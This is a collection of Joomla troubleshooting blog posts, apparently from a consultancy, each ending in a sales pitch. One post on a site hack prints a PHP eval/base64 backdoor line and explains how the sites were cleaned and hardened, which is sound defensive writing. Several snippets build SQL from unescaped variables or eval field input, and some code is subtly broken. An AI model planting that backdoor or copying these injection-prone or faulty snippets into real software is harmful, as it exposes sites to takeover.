Note that the script above must not be interrupted and must be run in “one-shot”, because if it’s interrupted and then re-run, then the links will point to the wrong articles. If you have many articles and if you’re afraid that the script will get interrupted during run-time, then it’s better to add a temporary field to the jos_content table for the Joomla 2.5 website that is set to 1 when the links in the article are fixed.

If you think that the script above is too slow/too inefficient then you’re right. The script can be enhanced by creating a temporary 1-to-1 table called jos_old_to_new that will contain 2 fields: old_id (which is the id of an article in Joomla 1.5) and new_id (which is the id of the article in the new database), this will prevent the script from doing complex and costly comparisons everytime it tries to find the id of the new article (it will just get it from that table).

Now while explaining the above solution to the system administrator (who was a very technical person) of the website we were migrating, he told us: “Why don’t you just do on-the-fly redirection of all the links? Isn’t that easier?” In other words, he wanted to do the following:

  • Leave the content as it is without changing the links.
  • Get the URL of the new link (based on the id of the equivalent article) when someone clicks on a link in an article that has an id that is less or equal to the last article migrated.

  • Redirect to that URL using a 301 redirect.

We immediately explained to the system administrator that this solution is not efficient and is error prone because if someone makes a manual change to an old article and inserts a new URL then that URL will be assumed as an old URL by the system and it’ll be redirected to another URL (that may or may not exist).

How will using SEF solve the above problem?

If you’re using SEF, then (most likely) you don’t have the id of the article anywhere in the link. You just have its alias, so the links won’t change, and even if they do, then the change will not be in the alias (since aliases remain the same during the migration), so all one needs is to develop a system simple plugin to translate links.

Using SEF is an excellent practice not only for SEO but also to ensure that your links remains the same in the next version of Joomla. Not using SEF will cost you time (it takes about a day or two to migrate links) and money – not to mention, of course, search engine rankings!

If you need help migrating your links on your Joomla website, or you need a professional company to migrate your Joomla website altogether, then look no further. We have migrated hundreds of Joomla sites so far and we can definitely migrate yours (regardless of its size). Just contact us and let us prove to you that we are professional, fast, reliable, and not that expensive!

“Call to undefined method K2ModelItemlist::getCategoryChilds()” Error After Upgrading K2

After upgrading K2 of a Joomla website for a major international news agency to the latest version, we encountered the following error when testing the website:

Fatal error: Call to undefined method K2ModelItemlist::getCategoryChilds() in /modules/mod_jxtc_k2contentwall/mod_jxtc_k2contentwall.php on line 133

Obviously, the error states that a function that is currently used (called getCategoryChilds) no longer exists in the new K2. We did some investigation and we discovered that the function is now named getCategoryChildren. So, all that we needed to do was to replace line 133 in the file mod_jxtc_k2contentwall.php that exists under the /modules/mod_jxtc_k2contentwall/ directory with this line:

$aux = K2ModelItemlist::getCategoryChildren($id, true);

Replacing line 133 with the above code fixed the problem, but we have to say that we were disappointed with K2 since it is an extension which is known to be backward compatible with its previous versions. We know that the developers wanted to be grammatically correct (plural of child is children, and not childs) and had the best intentions when they changed the name of the function, but by doing so they broke some legacy code.

A smart way of addressing the problem would have been creating another method in the K2ModelItemlist class that calls the new function in order to maintain support for previous code. Here’s the method:

function getCategoryChilds($id, true){
	return K2ModelItemlist::getCategoryChildren($id, true);
}

Implementing the above function will ensure that websites using the legacy getCategoryChilds function will not be broken when they upgrade K2.

Again, we think that K2 is one of the better extensions out there (especially when it comes to backward compatibility), and that’s why we were disappointed with that oversight.

By the way, we would like to take the opportunity to state that K2 upgrades are much more smoother than Joomla’s migration (which are very painful and take a lot of time). K2 items are migrated properly, comment association with articles is maintained, and the look and feel does not change because it is controlled by K2’s template.

If you’re upgrading/migrating your Joomla website, or just your K2 component, and you’re facing problems, then we urge you to contact us! Our prices are affordable, our work is professional, we are very friendly, and we are very, very fast!

Are All Your Joomla PHP Files Hacked?

We spent the past weekend working (yes, we work on weekends at itoctopus – in fact, we work all the time!) on two websites (each belonged to a high profile company in the US – one of them had 170,000 pages and the other had over a million pages indexed with Google). Both of these websites were hacked.

What was interesting that it was the same type of hack on both websites but it wasn’t the usual type (where the .htaccess and/or index.php and/or framework.php files is infected). It was a new type, where every single file falling under the Joomla website was infected (including files that did not really belong to Joomla). Each and every file with a .php extension was injected with the following code:

<?php eval(base64_decode($_REQUEST['varname'])); ?>

The above seemingly innocent code is far from being innocent – it allows a malicious visitor to freely execute any code on the server by simply passing base64_encoded PHP satement in varname (using GET or POST). The malicious visitor will be able to do the following (the list is not exhaustive as the possibilities are only limited by the permissions that Apache and the MySQL user have on the filesystem and the database respectively):

  • Add viruses/malware to the website
  • Delete/alter files/directories that Apache has write permissions on

  • Drop/alter the database

But, how did this happen?

Both of these websites were running Joomla 1.5.26 – a no longer secure version of Joomla. We think the situation got to this point (where each file was hacked) the following way:

  • A malicious visitor exploited the vulnerability in TinyMCE (the HTML editor) in that version of Joomla to upload a malicious file.
  • The malicious file then ran on all the website and injected the malicious eval code in the top of each and every page.

As you can see – it wasn’t a hard job to do that simply because both websites had open and well-known security holes.

What did we do to fix the problem?

Upgrading to to Joomla 2.5 was out of the question because it was going to take at least a week to do so for each website. Cleaning up the website was also out of the question because we literally had to clean thousands of files and we didn’t want to do it through a script because we were afraid that some files might not be cleaned properly and that some files might be corrupted by the script. Our only option was to revert to a backup.

So here’s what we did to fix the problem on each website:

  • We nuked (e.g. completely removed) the Joomla directory. This step was necessary because we wanted to be sure that the website is having a fresh and clean start.
  • We restored the website from the last clean backup. Usually hosting companies keep backups for websites hosted with them for the past 7 days.

  • Once the website was restored, we immediately ssh’d (as root) to the server hosting the website, and we did the following:

    • We issued a chown command to recursively change ownership for all the files and the directories falling under the website to root.
    • We changed permissions on all the files to 664. This means that only root and users belonging to the root’s group will be able to modify these files. We ensured that Apache (through its UNIX user, apache) did not belong to the root’s group (which should never be the case in a sound hosting environment). This way we made sure that the user apache is not able to write to any file on the filesystem – essentially reducing the potential of a code injection hack (in files) to 0 since all these malicious attacks run as the user apache.

    • We changed the permissions on all the directories to 775. (We’ll explain later why we chose these permissions instead of 755).

    • We gave the user apache write permissions to the following directories:

      • cache
      • images
      • logs
      • tmp

      This is necessary because Joomla will not run properly if it doesn’t have write permissions to at least the above directories as Joomla 1) needs to write to the cache directory if caching is enabled, 2) occasionally needs to write to the images directory (if someone uploads an image through the media manager, for example), 3) needs to write to the logs directory if logging is enabled, and 4) always needs to write to the tmp directory to store session information. Now the questions is, what will happen if these directories where hacked? The answer is simple: it doesn’t matter. Because as long as the PHP files are owned by root and can only be changed by root and its group members, then the above directories will operate in silos – meaning that if something bad happens in any of these directories, that bad thing will remain inside that directory and will not contaminate other directories/files.

But how can extensions be installed?

To be able to install an extension, Joomla needs write access to core Joomla directories (such as components, modules, plugins, etc…). Obviously, when we apply the permission changes above, extensions can no longer be installed through Joomla’s interface. So, in order to overcome this limitation, the user apache needs to be temporarily added to the UNIX group root (that’s why we chose 775 as the permissions for the directories and not 755), and then the Joomla administrator can install the extensions that he wants. After that is done, the apache user needs to be removed from the root group.

But what if a malicious file was added to one of the directories that Joomla can write to?

This scenario is always possible if you’re running a compromised version of Joomla. As we stated above, this will not affect the normal day-to-day operation of the website because these directories will be silo’d. However, this does not mean that it’s acceptable to allow for hacked files to be thrown there, because this will make your website seem as a parasite host. In order to avoid that, you will need to run a cron job that will check all of your directories (that apache has write access to) for uploaded scripts and delete them immediately. Ideally, the script should run every 30 minutes and should email you whenever it deletes something as it might be a false positive.

But what about database hacks?

This post only covers how to secure the filesystem of a Joomla website (which is commonly hacked nowadays). Database hacks need to be addressed at the PHP code level (e.g. checking and fixing the code of the 3rd party extensions that you have installed on your Joomla website).

If your Joomla website is hacked – even it’s a very large website – then we can fix it for you. Contact us and we’ll start working on it immediately. We will ensure that by the time we finish working, your website will be much safer than before, and literally un-hackable at the filesystem level. Our rates are reasonable, our work is professional, and we will treat your website as if it’s ours!

Why Progressive Caching in Joomla Should Be Avoided (In Most Cases)

If you have visited the Global Configuration page on a Joomla 2.5 website, then you might have noticed that there are now 2 types of caching:

  1. Conservative caching
  2. Progressive caching

We often get calls from our clients asking us what kind of caching to use – we immediately tell them that they should enable the System – Cache plugin and only use conservative caching and never, ever use progressive caching unless they know that they need it. But, as you might’ve guessed, the conversation doesn’t end here, because, like a “forbidden fruit”, they want to know more why they should avoid progressive caching. In fact, when we tell them not to use the aforementioned type of caching, they are more interested in knowing more about it than conservative caching, which we told them to use.

And so we start by explaining the difference between conservative caching and progressive caching:

Conservative caching is the standard type of caching. Here’s how it works:

  • A visitor visits a page on your website.
  • Joomla checks if there is a non-expired version of that page in its cache directory.
  • If the cached page exists (and it’s not expired), then Joomla will serve it to the visitor – otherwise, a cached version of the page is created, and that cached version will be served to the visitor, and to every other consequent visitor, as long as it’s (by “it” we mean the page) not expired.

The above scenario is typical and is how most developers implement caching.

Progressive caching works the following way:

  • A visitor visits a page on your website.
  • Joomla checks if a cached version of that page exists for that visitor and it’s not yet expired.
  • If that cached page exists, then it’ll be served to the visitor, otherwise, Joomla will create the cached page for that specific visitor and then will serve it to him.
  • If another visitor (who has never been on that page) visits that page, then Joomla will not serve the cached page of the previous visitor, instead, it will create a cached version of that page specifically for that user, and then serves it to him.

As you can see, progressive caching only offers a performance improvement if the same visitor visits the same page within the lifetime of the cached version of the page. In most scenarios, progressive caching results in a huge performance hit that is far worse than disabling cache, simply because for nearly every visit, Joomla has to process the request, create the cached version of the page, and then serve the page to the visitor (instead of just processing the request and serving the page in the scenario where cache is disabled). Oh, and don’t forget about all the cache files generated by Joomla – you can only imagine how many of these files you will have in your cache folder if you have a high traffic news website (that has many pages).

Now you might wonder, under which circumstances is progressive caching useful? Well, imagine that you have a video website (similar to youtube). You want to show each visitor customized pages based on his location and/or browser settings and/or plugins installed. So, for every page that the visitors loads, you use this information to generate a customized version of that page and you cache it. If the visitor visits that same page again, then Joomla doesn’t need to redo the work to generate the customized page.

Of course, there are many scenarios under which progressive caching is really useful, but in our opinion, progressive caching should only be considered if the website receives many visitors and if those visitors are mostly repeat visitors. Using it in other cases will cause a significant hit on the website’s performance.

We know that caching in Joomla can be quite daunting – but fear not, we’re here to help! Just contact us if you have problems with your Joomla caching (or if you just need advice). We’re super fast, we’re very helpful and friendly, we know our Joomla, and our prices are very, very affordable!

Save Button Not Working After Migrating Joomla

We are migrating many Joomla websites (from version 1.5.x to the latest 2.5 version) these days and a common problem that we see is that once we finish the migration, and we make the website live, the “Save” button (as well as many button in the Joomla menu) stops working. This is normal – and it’s because our method of migrating Joomla consists of creating a sub-directory in the main website’s directory, ensuring that the website works normally under that sub-directory, and then moving the contents of that sub-directory to the directory of the main Joomla website, essentially overwriting the Joomla 1.5 version of the website with the Joomla 2.5 version. You might now think, “how are these two things related to each other?”

Well, when you migrate this way (by creating a sub-directory for the Joomla 2.5 version and then moving it up one level), you are causing some caching issues (not to mention, of course, some login issues) at the browser level. The browser becomes confused a bit, and there are two ways to unconfuse the browser and solve this problem:

  1. Clearing your browser cache: Clearing your browser cache ensures that your browser has the latest version of your website – and that there are no cached JavaScript libraries that are conflicting with your Joomla’s functionality.
  2. Resetting your Joomla admin template: Resetting your Joomla admin template consists of switching from one admin template to another (usually from Bluestork to Hathor) and back (when you do this, Joomla instructs the browser that its cached version of JavaScript files is not up-to-date, and it needs to be refreshed). So, for example, if you’re using Bluestork (which is the default template) as the template for your administrator area, all you need to do is to switch to the Hathor template and then switch back to Bluestork. Changing the template of your admin area can be done in the same place where you change the template for your site (under “Extensions”->”Template Manager”).

We think that this is an annoying bug in Joomla and can cause a lot of anxiety for those that migrate their Joomla websites by themselves (because they think that they did something wrong during the migration process when they really didn’t). We hope that this bug will be fixed in a later installment of the Joomla 2.5 series.

Now if you’re trying to migrate your Joomla website to the latest version and you’re having problems during the process, then all you need to do to get help is to contact us. We’re friendly, we’re fast, we’re very knowledgeable about Joomla, and our prices are very affordable.

Wrapper Component in Joomla Downloads File on Firefox and Chrome Instead of Displaying it

One of the little used Joomla official extensions out there is the wrapper component. The wrapper component has a very simple job to do: it includes a page from another website (or even from your website) into a page on your Joomla website. For example (this is just an example – yes, we know it’s not a great example – but we’ve seen it several times so far), let’s say that you run multiple businesses, and each of these businesses has a website – but they all share the same “Our Company” page. So, instead of creating an “Our Company” page for each and every website, you just create a file called “our-company.html” in one of the websites, and then create a menu item of type wrapper pointing to that page. Once you do that, the external page is loaded into your website (inside an iFrame). As you can see, this is really easy!

There are two advantages to using a wrapper:

  1. Consistency: You will not end up with several versions of the exact same page (one for each website).
  2. Ease of update: If you ever need to update the content of a global page, you will only need to do it in one place.

Of course, you can include any page from any website on your website (the included page doesn’t have to belong to you) – in fact, a very common use of wrappers is to include a form on another website (such as a newsletter form or a customized registration form).

While wrappers do look very interesting and easy to use, they have some disadvantages:

  • Some websites block other websites from displaying their content within iframes: Many system administrators/developers block their websites from being iframed by using a simple JavaScript code. There is also a method to block iframes via the .htaccess file. It is important to mention though that both methods are not 100% efficient.
  • If the included page is hacked, then the host website (e.g. your website) will be considered as hacked: Google not only checks the JavaScript code on your website for cleanliness, it also checks the JavaScript file of all the included files in your page – even if these files reside on totally different servers and do not belong to your website. If you’re including a hacked page from another website on your website, then your website will be flagged in Google’s search engine results and it may be potentially delisted if you don’t remove the wrapper.

  • A wrapper can break the look & feel of your website: Don’t expect Joomla to be that smart and automatically apply your stylesheet to the included page. The page will be included as is, meaning the colors, the layout, the fonts, etc… will be those of the source website and they may or may not match the look & feel on your website (in most cases they won’t).

  • You cannot change the wrapper’s content using Joomla plugins: Joomla system plugins are usually used to modify any content on a Joomla website – however, since the wrapper’s content is usually loaded by the browser and not processed by the server, there is no (easy) way to make system plugins read and modify the content of that wrapper prior to display.

Now after this introduction to wrappers (as well as their advantages and disadvantages), let us talk about the Joomla problem we faced today…

One of our customers called us and told us that he made a wrapper that includes a static HTML page on his website. The wrapper, however, only worked properly on Internet Explorer, but on Firefox and Chrome the HTML file was being downloaded instead (or the user was being prompted to download the file). That was very odd!

We did a lot of experimentation and we eventually discovered that his environment was not setup to read HTML files – it was considering HTML files as non-web files and thus browsers were downloading HTML files instead of displaying them. Easily fixed, we thought… All that needed to be done was to add the following line to the .htaccess (we also included txt files, just in case):

AddType text/html *.html *.htm .txt

The above instructs the server to serve pages with an .html extension as HTML pages. Unfortunately, however, the above code didn’t work, because our client’s hosting environment was very restrictive and didn’t allow of such changes in the .htaccess file.

So what we did to solve the problem is that we renamed the file from included_file.html to included_file.php – essentially forcing the webserver to treat the file as a PHP file and serve it normally to the browser.

Now – if you’re someone who pays attention to details, you might be wondering how come Internet Explorer was displaying the file properly while the other two major browsers didn’t? The answer is simple: Internet Explorer simply doesn’t care what the webserver tells it about the nature of the file – it just looks at the extension and the content-header. Of course, this is considered to be a violation to the server rules – but on the bright side, it did work!

Now if you’re using Joomla’s wrapper component and you feel you need help then we’re here for you! Just contact us and you will see how friendly, motivated, fast, and efficient we are! We also have the most affordable rates out there!

“You Do Not Have Access to the Administrator Section of This Site” Error When Trying to Login to Joomla’s Admin

Usually we write about a recurring Joomla problem immediately – but for some reason we didn’t write about this error before, although we have seen it so many times before. But this afternoon, we got a call from a system administrator at a Fortune 500 company (a well known company making computer processors) saying that she’s not able to login as an administrator to Joomla. So, VPN’d to her machine and then to the Joomla website (the Joomla website was internal for the company), and we tried to login, and true enough, we saw this error: “You do not have access to the administrator section of this site”. Those who are inexperienced with Joomla will do one of the following when they see this error:

  • Check if the user is blocked in Joomla.
  • Reset the Joomla password of the user.

Both methods above are irrelevant in this scenario because this error happens after checking if the password is OK and after checking if the user is blocked. In other words, a wrong password or a blocked user will break the login process earlier and will result in a different error.

Here are the steps that we, at itoctopus, follow in order to solve the problem:

  • Step 1: Check if the user is really an administrator: In many cases, this error happens when the person is trying to login with a user who’s not an administrator (usually this happens when the person has two users on the website, and he’s logging in with the wrong user) or who’s no longer an administrator (someone might have revoked administrative access for that user). Checking if the user is an administrator is easy – all you need to do is to check if the id of the user is assigned to the right group in the table jos_user_usergroup_map (replace jos with your table prefix). If all is OK (the user is assigned to the right group) then we move to the next step… (If not then we fix the problem)
  • Step 2: Check if the ACL tables are not corrupt: This is where it gets tricky since Joomla’s ACL tables are not that easy to understand. However, if the login problem is because of ACL corruption, then in 99% of the cases the error lies somewhere in the jos_viewlevels and/or the jos_usergroups tables. We suggest that you look at a clean Joomla database and compare the two tables of that database with those in your website’s database. If the ACL tables are corrupt, then we manually fix them (fixing these tables should only be done by an expert) – if not, then (you’ve guessed it!) we move to the next step.

  • Step 3: Check the jos_assets table: If all else fails, then (sadly) the problem almost certainly lies in the jos_assets table (which is, by far, the scariest table in Joomla – because a simple mistake in that table can cause a total collapse of the website). The two most common causes in the jos_assets table that might lead to this problem are:

    1. Missing entry for the com_admin row. (By the way, that was the reason why the system administrator at that chip maker company wasn’t able to login to the website)
    2. Wrong rules field for the com_admin row. The rules field for that row should just contain “{}”. (two curly brackets)

If you are seeing the “You do not have access to the administrator section of this site” error when you try to login to the backend of your Joomla website, and if you are positive that you have administrative access to the website – then unless you’re a very technical person, we suggest that you contact some Joomla experts to fix the problem for you! Step 2 and Step 3 above are rather complicated and delicate and if done incorrectly then they may break the whole website – and not just login functionality. By the way, we are the Joomla experts, so feel free to contact us and we promise you that we’ll solve your login problem in no time and that we won’t charge you much!

How to Dynamically Duplicate a Form in RSForm Using PHP

Note 1: Validating fields on dynamically duplicated forms is too complex to explain in one post – and that’s why it’s not included here. If you want help on this, then please contact us.
Note 2: We are assuming that you do not wish to save the fields in the database – if this is not the case then (you’ve guessed it!) contact us. Again, this is very complicated task and that’s why we elected not to include it here.
Note 3: We are assuming that you only have one submit button on your page.
Note 4: We are assuming that you want to duplicate the whole form, and not just parts of it.
Note 5: “Auto Generate Layout?” must be unchecked (we will explain later why).
Note 6: This post is targeted for those with solid PHP experience and advanced Joomla knowledge. If you’re not a programmer then we suggest you contact some Joomla Experts to do the below.

In our last post on RSForm, we explained how to how to assign dynamic values to fields by using some specially formed PHP code (that code only works in RSForm Pro). In this post, we will disucss how to dynamically duplicate a form in RSForm.

So, why does anyone need to duplicate a form with RSForm?

Let’s say, for example, that your company offers training services for other companies. A company requiring your training services wants to enlist some of its employees for one of your trainings – and so you need a page that contains multiple instances of the same form (one for each trainee) depending on the number of the trainees. There are two ways to do this: 1) Create a custom component to do this (which can be a tedious, complicated, and error-prone task) or 2) leverage the power and flexibility of RSForm to do this. We will focus on how to do this using the latter way.

If you have been using RSForm for some time (and if you have some technical background), you probably know that the form itself is available in a variable called $formlayout on form display and can be manipulated with a PHP script.

Script called on form display

Figure 1: “Script called on form display” textarea in RSForm. This is where one can manipulate the form layout prior to its display.

What does that mean? That means that if we write something like this $formLayout .= $formLayout; in the Script called on form display textarea (you can reach this textarea by clicking on a form in the backend, and then clicking Properties on the top of the form, and finally clicking on PHP Scripts under Scripts on the bottom left) the whole form will be duplicated. Try it, it’ll work!

But, just duplicating the form is not enough, as we need to ensure that the following 3 things are done:

  1. The <form> and </form> tags are not duplicated. This can be done with a simple find and replace using the following code:

    //remove the </form>.
    $duplicateForm = str_replace("</form>", "", $formLayout);
    //now we have duplicate content of the form without the </form> tags.
    $duplicateForm = preg_replace("#<form(.*)>#i", "", $duplicateForm);

  2. The submit button is not duplicated. This is a bit tricky, because the submit button is a field like any other field (or a component, as per RSForm’s terminology). A smart (and fast) way for doing this is to encapsulate the entry for the submit button between something like <!–ignoresubmitbutton–> and then remove anything between them when duplicating the form.
  3. The duplicated fields have different names and ids. This can be done by appending xyz (or another suffix/prefix of your choice) to the name and the id of each and every field and then do an str_replace that replaces xyz with the current number of the form.

Here’s what the script that is called on display of the RSForm to duplicate the form should be:

	//getting the ID of the customer from the session
	$session =& JFactory::getSession();
	$customerId = $session->get('customerId');
	//getting the number of trainees (which is the same as the number of forms) from the database
	$db = JFactory::getDbo();
	$query = $db->getQuery(true);
	$query = "Select num_trainees from #__training WHERE customer_id='".$customerId."' LIMIT 0, 1";
	$db->setQuery($query);
	$numForms = $db->loadResult();

	//creating a copy of the form without <form> and </form>
	$duplicateForm = str_replace("</form>", "", $formLayout);
	$duplicateForm = preg_replace("#<form(.*)>#i", "", $duplicateForm);

	//now remove the submit button area
	$arrDuplicateForm = explode('<!--ignoresubmitbutton-->', $duplicateForm);
	$duplicateForm = "";
	for ($i = 0; $i < count($arrDuplicateForm); $i++){
		if ($i == 1)
			continue;
		$duplicateForm .= $arrDuplicateForm[$i];
	}

 	//ensuring that the names and the ids are not the same in duplicated forms
	$duplicateForms = "";
	for ($i = 0; $ i < $numForms - 1; $i++){
		$duplicateForms .= str_replace("xyz", "".$i+1, $duplicateForm);
	}
 	//adding all the generated forms to the original form
	$submitPosition = strpos($formLayout, "<!--ignoresubmitbutton-->");
	$formLayout = substr_replace($formLayout , $duplicateForms, $submitPosition, strlen("<!--ignoresubmitbutton-->"));
	

Now that we have duplicated the form, all we need to do is to format the information received in the email. But how can this be done?

Well, it's not that hard as it may seem. The first thing that we need to do is to save the $_POST information in the session (or in a table) by adding the following code to the textarea titled Script called on form process:

	$session =& JFactory::getSession();
	$session->set('forminformation', $_POST);

The second (and final) thing that we need to do is to retrieve the session information in the Script called before the Admin Email is sent textarea and then manipulate the $adminEmail to fit our needs. Here's the code:

	$session =& JFactory::getSession();
	$arrFormInformation = $session->get('forminformation');
	//now we can manipulate the $adminEmail the way we want
	//after finishing our work with $adminEmail, we need to clear the session variable forminformation
	$session->clear('forminformation');

As we stated in the beginning of this post, one needs to have some decent PHP and Joomla experience to do the above. If you're not a technical person and have some tricky requirements on your RSForm (such as dynamically duplicating forms based on some criteria) that you can't do by yourself, then we're happy to tell you that we can help you! Just contact us and see how fast, affordable, efficient, and knowledgeable we are. We are, after all, the Joomla Experts.

“JHTML:icon Not Supported” Error When Migrating to Joomla 2.5

We’re currently migrating a large news website from Joomla 1.5 to Joomla 2.5 – and we’re facing some weird issues during the migration. For example, while we were able to migrate the articles successfully, clicking on any link (pointing to an article) resulted in the following error:

500 – JHtml: :icon not supported. File not found.

The first thing that we did was to find where this error is being generated, and to find that, we needed to find the language constant that actually contains this error. So we searched for the pattern “*not supported*” in all the language files of a test Joomla 2.5 installation, and we found that the constant containing that error was: JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE.

Our next step was to search for JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE in a Joomla 2.5 installation to see in which file it is called, and we easily found it at line 123 of the html.php file which is located under the /libraries/joomla/html directory. When reading the function that raises this error, we discovered that it was trying to include the file icon.php, and it was expecting it to be under the /libraries/joomla/html directory. The file icon.php did not exist in that directory. So what we did was that we copied that file from the new Joomla website from the directory /components/com_content/helpers to the /public_html/libraries/joomla/html directory and that solved the problem!

Note: Most posts on this topic that claim to solve this problem suggest that you delete the whole com_content folder located under /template/[name-of-your-template]. We strongly recommend against this because while it may resolve the issue, it’ll strip the custom design from the website. So, unless you don’t really care about the design, do not delete that directory.

We realize that Joomla’s migration is a hard task that requires a lot of Joomla experience and (potentially) some solid programming skills – so if you’re migrating your Joomla website from 1.5 to 2.5 and you’re running into all sort of problems, then maybe it’s time you call some Joomla experts to do the job for you. Just contact us and we’ll finish the migration for you in no time (we’ve migrated many Joomla websites so far) – oh, and by the way, our fees are very affordable for what we do!

Update 10/15/2014: You can also add the following code to your template file (such as the default.php file under the templates/[your-template]/html/com_content/article folder):

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

How to Assign Dynamic Values to Fields in RSForm Pro

Note 1: If you don’t have RSForm Pro (e.g. you only have the free version of RS Form), then the below will not work for you.
Note 2: This post is targeted at intermediate to advanced programmers. A Joomla administrator (unless he’s very technical) will be unable to do the below by himself.

We love our job. Every day we have a new challenge, and every day we learn something new. Today one of our clients wanted us to create a highly dynamic form with RSForm Pro. Of course, you might think that all forms built with RSForm are already highly dynamic, but this one pushed new boundaries. He wanted us to fill in values in input fields, select boxes, radio buttons, checkboxes, and hidden fields dynamically from his database. In other words, let’s say he has a table in the database called jos_vegetables that contains 2 fields: id and name. In his form, our client wants the dropdown box named vegetables to be filled in automatically with values from this table. This will ensure consistency across his website because he won’t have to update the form manually if he elects to add another field to the jos_vegetables table.

Our first attempt was the following:

  • Create a function called getVegetables() which will return a string consisting of the vegetable name and place it in a library file called ourfunctions.php. Here’s the function’s code:

    function getVegetables(){
    	$db =& JFactory::getDBO();
    	$sql = "SELECT name FROM #__vegetables ORDER BY name ASC";
    	$db->setQuery($sql);
    	$arrVegetables = $db->loadResultArray();
    	$strVegetables = "";
    	if (!empty($arrVegetables)){
    		$strVegetables = implode("\n", $arrVegetbales);
    	}
    	return $strVegetables;
    }
    

  • Create the dropdown box called vegetables in the form and give it a value of {rsformvalue getVegetables} in the Items box.

  • Create a system plugin that will run after the System – RSForm! Pro plugin and that will translate all mentions of {rsformvalue [functionname]} with the return value of [functionname].

Technically, the above worked – but we felt that it wasn’t a solid solution to the problem. Creating a plugin to alter the content of a page is usually our last resort. So we thought, could it be that RSForm Pro already has something that will allow us to enter PHP code in the Items box (or in the Default Value field). After some heavy research on the topic, we discovered that RSForm Pro had one undocumented feature: if one adds <code> in the Items box (or, again, in the Default Value field) then all the code in that box will be eval’d. So we tried it, and we entered the following code in the Items box:

<code>return getVegetables();</code>

But we got the following error instead:
Parse error: syntax error, unexpected ‘<' in /administrator/components/com_rsform/helpers/rsform.php(512) : eval()'d code on line 1

So we looked at line 512 in the rsform.php file (located under /administrator/components/com_rsform/helpers/) and we saw the following code:

function isCode($value){
	$RSadapter = RSFormProHelper::getLegacyAdapter();
	if (strpos($value, '<code>') !== false)
		return eval($value);
	return $value;
}

When we looked at the above code, we immediately discovered that it’s buggy and it’ll never work as it should. This is because <code> will be eval’d by the eval function, which will always return a parse error. So we fixed the issue by removing <code> and </code> from $value. Here’s the fixed function:

function isCode($value){
	$RSadapter = RSFormProHelper::getLegacyAdapter();
	if (strpos($value, '<code>') !== false){
		$value = str_replace(array('<code>', '</code>'), '', $value);
		return eval($value);
	}
	return $value;
}

Our code above worked normally when we fixed the isCode function.

As you can see, this is a modification to RSForm’s core file. If you don’t want to fix the bug then there’s a workaround that actually works. The value inside the Items box should be something like the following:

$ignoreThisValue='<code>';return getVegetables();

The above will (cleverly) instruct RSForm that the value must be eval’d but without running into the Parse Error problem because we’re just assigning a dummy variable a value of <code>.

Caveats:

  • Do not encapsulate your code with double quotes (“) or single quotes otherwise you will most likely have a parse error.
  • Make sure to always end your code with a semi-column (;). If you don’t you will have a parse error and the code will not work.

  • Make sure you always use return. PHP’s eval function will not return anything if there is no returned value in the code.

  • PHP’s eval is a very dangerous function. Make sure that the eval’d code (e.g. the code between <code> and </code>) does not include any direct input from the user.

We realize that this post is very advanced, and may be too complicated for many Joomla administrators. But fear not, if you need help adding dynamic values to fields in your RS Form Pro component, then you can always contact us. We will do it for you in no time and at a very affordable price!

Beware of Fake Joomla Migrations

A client called us today (around noon) and told us that he’s unable to install a Joomla extension on his website. He said that the installer is displaying an error. He gave us the information to his website (username and password of a super administrator) and emailed us the extension that he was trying to install. Before even logging in to his website, we extracted the extension and looked at its XML setup file to see if the XML is properly formed and that all the files that are listed in the XML file are physically included in the same zip file. Everything looked OK for us. It was really just a small Joomla 2.5 plugin. We then went to the administrator’s login to his website, and before even logging in, we immediately recognized that he had Joomla 1.5 installed. We called him immediately and we told him that he was trying to install a Joomla 2.5 extension on a Joomla 1.5 website, and that’s why it’s not working. To our surprise, he told us “But I have a Joomla 2.5 website” so we told him that we are very confident that what he really has is a Joomla 1.5 website. He said that we are wrong, and that when he logs in to the backend, and checks the Joomla version by going to Help->System Info, he sees Joomla! 2.5.7 as the version. We told him that this is impossible, but then we logged in to the backend of his website, and we were stupefied to see that what he was saying was true – the backend did show Joomla! 2.5.7 but we knew that what he really had was a Joomla 1.5 website.

We called him and asked him whether someone worked on his website recently. He told us that a programmer migrated his website to Joomla 2.5 from Joomla 1.5 a couple of weeks ago – he told us that the programmer finished the job in just one day and charged him about $600. At this point we knew what happened: The programmer faked a Joomla migration by just changing all the references, in the code, from Joomla 1.5 to Joomla 2.5 – particularly the reference to Joomla 1.5 which is found in the version.php file which is located under the /libraries/joomla directory. We have seen some unethical programmers before – but this one has set new lows when it comes to the ethics of our profession. We will spare you the details of what happened when we told our client what his programmer did.

So how can someone know if his website was really migrated to Joomla 2.5 or not? Easy – all one needs to do is to try to install a Joomla 2.5 extension and see if it works. If it does, then he definitely has Joomla 2.5, if it doesn’t – well, then he still has an older version of Joomla. Oh, and if it does sound too good to be true – then it probably is: don’t believe anyone who tells you that it takes a day or less to migrate a Joomla website – it’s either he’s not really migrating the website or he doesn’t care if your website works at all post-migration. A Joomla migration takes at least 2 full days of work. You have been warned!

If you need to migrate your Joomla website and you’re looking for a trustworthy company to do that for you, then you at the right place. Just contact us and we’ll initiate the migration process as soon as possible. Rest assured that your website will look exactly the same as it was pre-migration when we’re done migrating it. By the way, our fees are very affordable so you don’t really need to worry about setting a huge budget for this project. What are you waiting for?

How to Retrieve a PDF file from the Database and Display It on a Joomla website

One of the requirements on a project that we’re currently working on was to display PDF files on a Joomla website. This might seem very easy – except that the PDF document is stored in the database (instead of the filesystem) and must be displayed on a separate window and not inline.

The process was simple, all we needed to do was to create a function called showPDF($id) that will retrieve the content of the file (based on its id) from the database, modify the headers, and that’s it. So here’s the code of the function that we tried:

function showPDF($id){
    $query = "SELECT pdf_content FROM #__pdf_files WHERE id=" . $id;
    $db->setQuery($query);
    $pdfContent = $db->loadResult();
    header('Content-type: application/pdf');
    header("Cache-Control: no-cache");
    header("Pragma: no-cache");
    header("Content-Disposition: inline;filename='[name of the PDF file]'");
    header("Content-length: ".strlen($pdfContent));
    echo($pdfContent);
}

Unfortunately, when we called the function from our (custom made) component, it was displaying gibberish. Here’s what we were seeing (we have removed the template because we would like our client to remain anonymous):

Gibberish

Figure 1: Gibberish is being displayed instead of the actual PDF file (Notice how the content starts with ‘%PDF-1.4’)

So we thought “Hmmm… Let’s try using Joomla’s built in function to set the content-type” and so we added the following lines at the top of the function:

	$doc =& JFactory::getDocument();
	$doc->setMimeEncoding('application/pdf');

We thought that we will see the PDF successfully displayed when adding the above lines, but instead the following message popped up: “File does not begin with ‘%PDF-‘.”

File does not begin with %PDF-
